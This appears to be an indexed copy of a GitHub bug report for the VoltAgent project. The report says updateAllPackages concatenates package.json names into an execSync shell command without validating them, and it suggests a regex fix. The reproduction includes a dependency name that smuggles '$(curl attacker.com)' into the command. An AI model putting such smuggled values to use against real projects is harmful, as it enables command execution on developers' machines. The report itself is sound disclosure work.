[BUG] updateAllPackages missing command injection protection present in updateSinglePackage
Nobody has claimed this yet.
Assessment
- Difficulty
- 2/5
- Estimated time
- 1-3 hours
- Newbie friendliness
- 68/100
- Issue type
- Bug
- Clarity
- Clearly specified
- Activity status
- Quiet
- Tech stack
- typescript
Research direction
Start in packages/core/src/utils/update/index.ts:335-369 and compare updateAllPackages with the existing validation in updateSinglePackage. Confirm that invalid package names from package.json are rejected before the command reaches execSync, and use the issue's injection example to verify the unsafe command is no longer passed through.
Written by the indexing model from the issue text.
Description
Bug Description
updateAllPackages() concatenates package names from package.json directly into shell commands passed to execSync() without validation. The sibling function updateSinglePackage() validates package names against a regex (/^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/), but updateAllPackages() does not.
Location
packages/core/src/utils/update/index.ts:335-369
Reproduction
If a package.json contains a tampered dependency name (e.g., via a malicious PR or dependency confusion):
{
"dependencies": {
"@voltagent/core": "^1.0.0",
"@voltagent/exploit$(curl attacker.com)": "^1.0.0"
}
}
When the update check runs, updateAllPackages at line 337 maps this to:
@voltagent/exploit$(curl attacker.com)@latest
At line 348, this becomes:
pnpm add @voltagent/exploit$(curl attacker.com)@latest
Which is passed to execSync(command, ...) at line 369, executing the injected command.
Impact
Command injection if package.json is tampered with. This requires a prior compromise of the package.json (e.g., via malicious PR, supply chain attack, or developer machine compromise), making it a P1 severity — not directly exploitable from an HTTP endpoint, but a missing defense-in-depth where the sibling function already has the fix.
Suggested Fix
Apply the same validation that updateSinglePackage already uses:
const isValidPackageName = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/;
const packagesToUpdate = updateCheckResult.updates
.filter((pkg) => pkg.type !== "latest")
.filter((pkg) => isValidPackageName.test(pkg.name)) // Add this line
.map((pkg) => `${pkg.name}@latest`);
Or better yet, extract the validation into a shared helper used by both functions.
Found via codebase analysis. Happy to submit a PR if confirmed.
- Dominant language
- TypeScript
- Stars
- 10.6k
- Forks
- 1.1k
- PR merge metrics
- No merged PRs in 30d
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
More from VoltAgent/voltagent
-
[BUG] Elysia server provider test suite entirely broken — stale mocks after Node.js HTTP refactor Open
Difficulty 2/5 1-3 hours Newbie friendliness 76/100
-
Difficulty 4/5 3-5 days Newbie friendliness 25/100
-
Difficulty 4/5 3-5 days Newbie friendliness 55/100
-
Difficulty 3/5 1-2 days Newbie friendliness 65/100
-
Difficulty 4/5 3-5 days Newbie friendliness 68/100
All issues in VoltAgent/voltagent
Similar issues
-
calcite-components needs triage refactor
Difficulty 2/5 1-3 hours Newbie friendliness 75/100
Esri/calcite-design-system#15203 ·
-
Difficulty 2/5 1-3 hours Newbie friendliness 91/100
-
community first-timers-only good first issue hacktoberfest help wanted low hanging fruit up-for-grabs
Difficulty 1/5 Under an hour Newbie friendliness 95/100
-
Difficulty 2/5 1-3 hours Newbie friendliness 78/100
Automattic/studio#4908 ·
-
Difficulty 2/5 1-3 hours Newbie friendliness 90/100